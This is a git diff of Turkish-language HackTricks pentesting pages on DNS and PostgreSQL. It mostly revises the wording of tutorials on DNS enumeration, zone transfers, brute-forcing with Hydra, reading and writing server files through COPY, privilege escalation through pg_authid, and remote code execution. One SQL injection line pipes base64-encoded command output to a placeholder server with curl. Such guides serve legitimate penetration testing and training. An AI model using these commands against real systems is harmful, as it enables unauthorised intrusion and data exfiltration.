+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine kazmaları, kabukları patlatmaları ve eğlenmeleri için zaman kazanıyoruz.
{% embed url="https://pentest-tools.com/" %}
## **Temel Bilgiler**
-**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir.
+**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanabilir alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir.
**Varsayılan bağlantı noktası:** 53
```
@@ -33,18 +33,18 @@ PORT STATE SERVICE REASON
```
### Farklı DNS Sunucuları
-- **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Sayılar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır.
+- **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Numaralar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır.
- **Yetkili Ad Sunucuları**: Bu sunucular, belirlenmiş bölgelerindeki sorgular için nihai karara sahiptir ve kesin cevaplar sunarlar. Yanıt sağlayamazlarsa, sorgu kök sunuculara yükseltilir.
- **Yetkisiz Ad Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmadığından, bu sunucular alan bilgilerini diğer sunuculara sorgular aracılığıyla toplarlar.
- **Önbelleğe Alan DNS Sunucusu**: Bu tür bir sunucu, gelecekteki istekler için yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir.
- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları sadece başka bir sunucuya iletirler.
-- **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümünü gerçekleştirir ve yetkili olarak kabul edilmezler.
+- **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümlemesi gerçekleştirir ve yetkili olarak kabul edilmezler.
## Numaralandırma
### **Banner Yakalama**
-DNS'te bannerlar olmasa da, `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\
+DNS'te bannerlar bulunmamaktadır ancak `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\
Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz:
```bash
dig version.bind CHAOS TXT @DNS
@@ -57,7 +57,7 @@ Ayrıca **nmap** betiği ile banner da alınabilir:
```
### **Herhangi bir kayıt**
-Kayıt **ANY**, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **talep** edecektir.
+**ANY** kaydı, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **geri dönüş** yapacaktır.
```bash
dig any victim.com @
```
@@ -112,14 +112,14 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
{% hint style="info" %}
-Eğer iç IP adreslerine çözünen alt alan adlar bulabilirseniz, o IP aralığını soran alan adının NS'lerine ters dns BF yapmaya çalışmalısınız.
+Eğer iç IP adreslerine çözünen alt alanlar bulabilirseniz, o IP aralığını soran alan adlarının NS'lerine ters dns BF yapmaya çalışmalısınız.
{% endhint %}
-Bunu yapmak için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
+Bunun için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç aynı zamanda BGP ile de yardımcı olur).
-### DNS - Alt Alan Adları BF
+### DNS - Alt Alanlar BF
```bash
dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt
dnsrecon -D subdomains-1000.txt -d -n
@@ -138,10 +138,6 @@ nslookup -type=srv _kerberos._tcp.domain.com
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
```
### DNSSec
-
-#### DNSSec Nedir?
-
-DNS üzerindeki güvenlik açıklarını gidermek için tasarlanmış bir dizi uzantıdır. Bu uzantılar, DNS trafiğini şifrelemek ve bütünlüğünü doğrulamak için kullanılır.
```bash
#Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
@@ -152,16 +148,16 @@ Alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanar
```bash
dnsdict6 -s -t
```
-### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce
+### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce Yöntemi
-IPv6 adreslerini kullanarak ters DNS bruteforce işlemi yapabilirsiniz.
+IPv6 adreslerini kullanarak ters DNS bruteforce yöntemi kullanılabilir.
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Yineleme DDoS
-Eğer **DNS yinelemesi etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\
-Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmektir**:
+Eğer **DNS yineleme etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\
+Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmek** için bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmek** gerekmektedir:
```bash
dig google.com A @
```
@@ -173,21 +169,21 @@ dig google.com A @
![](<../.gitbook/assets/image (276).png>)
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, bu araçlar ve özellikler keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
### Var olmayan hesaba e-posta gönderme
-Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilememe bildirimi (NDN) incelenerek, genellikle değerli iç ağ ayrıntıları ifşa edilir.
+Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilemeyen bildirimin (NDN) incelenmesi yoluyla, genellikle değerli iç ağ ayrıntıları ifşa edilir.
-Sağlanan teslim edilememe raporu şu bilgileri içerir:
+Sağlanan teslim edilemeyen rapor şunları içerebilir:
* Oluşturan sunucu `server.example.com` olarak tanımlandı.
* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi geri döndürüldü.
-* Orijinal ileti başlıklarında iç IP adresleri ve ana bilgisayar adları ifşa edildi.
+* İç IP adresleri ve ana bilgisayar adları orijinal ileti başlıklarında ifşa edildi.
```markdown
The original message headers were modified for anonymity and now present randomized data:
@@ -211,7 +207,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
X-Envelope-From: sender@anotherdomain.org
X-Apparent-Source-IP: 198.51.100.37
```
-## Yapılandırma Dosyaları
+## Yapılandırma dosyaları
```
host.conf
/etc/resolv.conf
@@ -221,12 +217,12 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
-## Tehlikeli ayarlar bir Bind sunucusu yapılandırılırken:
+## Tehlikeli ayarlar Bind sunucusu yapılandırılırken:
| **Seçenek** | **Açıklama** |
| ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | DNS sunucusuna istek göndermeye izin verilen ana bilgisayarları tanımlar. |
-| `allow-recursion` | DNS sunucusuna özyinelemeli istek göndermeye izin verilen ana bilgisayarları tanımlar. |
+| `allow-recursion` | DNS sunucusuna yinelemeli istek göndermeye izin verilen ana bilgisayarları tanımlar. |
| `allow-transfer` | DNS sunucusundan bölge transferlerini almasına izin verilen ana bilgisayarları tanımlar. |
| `zone-statistics` | Bölgelerin istatistiksel verilerini toplar. |
@@ -288,22 +284,22 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
-
+
-**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin
+htARTE (HackTricks AWS Red Team Expert) ile AWS hacklemeyi sıfırdan zirveye öğrenin!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.**
-* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md
index a51a984f1..dd23e9d79 100644
--- a/network-services-pentesting/pentesting-postgresql.md
+++ b/network-services-pentesting/pentesting-postgresql.md
@@ -1,9 +1,9 @@
# 5432,5433 - PostgreSQL Pentesting
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -14,17 +14,17 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
-* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
## **Temel Bilgiler**
-**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar.
+**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve kuruluşlar için çok yönlü bir seçim yapar.
**Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır.
```
@@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
-Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bulunduğunuzun bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
+Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanı** içinde olduğunuzu bilirsiniz.
{% endhint %}
Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veritabanı** kontrol edin:
@@ -86,7 +86,7 @@ Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veri
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
-### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#postgresql)
+### **Kaba kuvvet**
### **Port tarama**
@@ -118,7 +118,7 @@ the server terminated abnormally before or while processing the request
#### PostgreSQL Enumeration
-PostgreSQL runs on port 5432 by default. You can use tools like Nmap to scan for open PostgreSQL ports.
+PostgreSQL runs on port 5432 by default. You can use tools like Nmap to scan for open PostgreSQL ports on a target system.
```bash
nmap -p 5432
@@ -126,7 +126,7 @@ nmap -p 5432
#### PostgreSQL Brute Forcing
-You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL.
+You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. Here is an example using Hydra:
```bash
hydra -L users.txt -P passwords.txt postgres://
@@ -134,49 +134,47 @@ hydra -L users.txt -P passwords.txt postgres://
#### PostgreSQL Exploitation
-You can exploit PostgreSQL using tools like Metasploit or by manually exploiting known vulnerabilities.
+One common PostgreSQL exploitation technique is to exploit weak credentials. You can also look for SQL injection vulnerabilities in PostgreSQL applications.
#### PostgreSQL Post-Exploitation
-After gaining access to a PostgreSQL database, you can perform various post-exploitation activities such as dumping data, creating new users, or executing commands on the underlying operating system.
+After gaining access to a PostgreSQL database, you can dump the contents, create new users, modify data, or even drop tables. Be cautious with your actions to avoid causing damage.
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
-* Port açık veya filtrelenmiş
+* Port açık veya filtrelenmişdir
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
-PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını almak mümkün değil. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Kullanıcı adlarını ve şifrelerini sistem tablolarından çıkarmak uygun değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü olumlu sonuçlar verebilir.
-
-## Yetkilerin Sıralanması
+## Ayrıcalıkların Sıralanması
### Roller
| Rol Türleri | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
-| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
-| rolcreaterole | Rol, daha fazla rol oluşturabilir |
-| rolcreatedb | Rol, veritabanları oluşturabilir |
-| rolcanlogin | Rol giriş yapabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir |
-| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
-| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız demektir. |
-| rolpassword | Şifre değil (her zaman `********` olarak okunur) |
-| rolvaliduntil | Şifre sona erme zamanı (yalnızca şifre kimlik doğrulaması için kullanılır); süresizse null |
+| rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
+| rolcreaterole | Rol, daha fazla rol oluşturabilir |
+| rolcreatedb | Rol, veritabanları oluşturabilir |
+| rolcanlogin | Rol oturum açabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir |
+| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü, replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturup silebilir. |
+| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
+| rolpassword | Parola değil (her zaman `********` olarak okunur) |
+| rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
| oid | Rol kimliği |
#### İlginç Gruplar
-* **`pg_execute_server_program`** üyesiyseniz **programları çalıştırabilirsiniz**
-* **`pg_read_server_files`** üyesiyseniz **dosyaları okuyabilirsiniz**
-* **`pg_write_server_files`** üyesiyseniz **dosyaları yazabilirsiniz**
+* Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**
+* Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**
+* Eğer **`pg_write_server_files`** üyesiyseniz, dosyalara **yazabilirsiniz**
{% hint style="info" %}
-Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **giriş yapmasına izin verip vermediğinize** bağlıdır.
+Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır.
{% endhint %}
```sql
# Get users roles
@@ -259,7 +257,7 @@ SELECT * FROM pg_proc;
### Dizinler ve dosyaları okuma
-Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (**`pg_read_server_files`** olarak adlandırılır) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
+Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (yani **`pg_read_server_files`** olarak adlandırılan) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
```sql
# Read file
CREATE TABLE demo(t text);
@@ -300,7 +298,7 @@ GRANT pg_read_server_files TO username;
```
### Basit Dosya Yazma
-Sadece **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini dosya yazmak için kullanabilir.
+Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri, dosya yazmak için kopyalamayı kullanabilir.
{% code overflow="wrap" %}
```sql
@@ -316,8 +314,8 @@ GRANT pg_write_server_files TO username;
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
-COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **tek satırlık bir komut göndermeniz gerekecektir**.\
-Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.**
+COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **tek satırlık bir komut göndermeniz gerekmektedir**.\
+Bu teknikte çok önemli bir kısıtlama şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.**
### **İkili dosyaların yüklenmesi**
@@ -329,13 +327,13 @@ Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadı
##
-**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) katılın ve **100.000 $'a kadar** ödüller kazanmaya başlayın!
+**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **100.000 $'a kadar ödüller kazanmaya** başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi
-PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
+PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu teknik hakkında **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Gerekli adımlar:
@@ -345,7 +343,7 @@ Gerekli adımlar:
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
-**Not:** Ayarlar aracılığıyla mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
+**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın
```sql
@@ -397,15 +395,15 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
-8. PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz.
+8. Artık PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz.
`pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
-## RCE
+## Uzaktan Kod Çalıştırma (RCE)
### **Programa RCE**
-[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte:
+[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyayı kullanabilir (veri sızdırma örneğiyle:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@@ -423,15 +421,14 @@ DROP TABLE IF EXISTS cmd_exec;
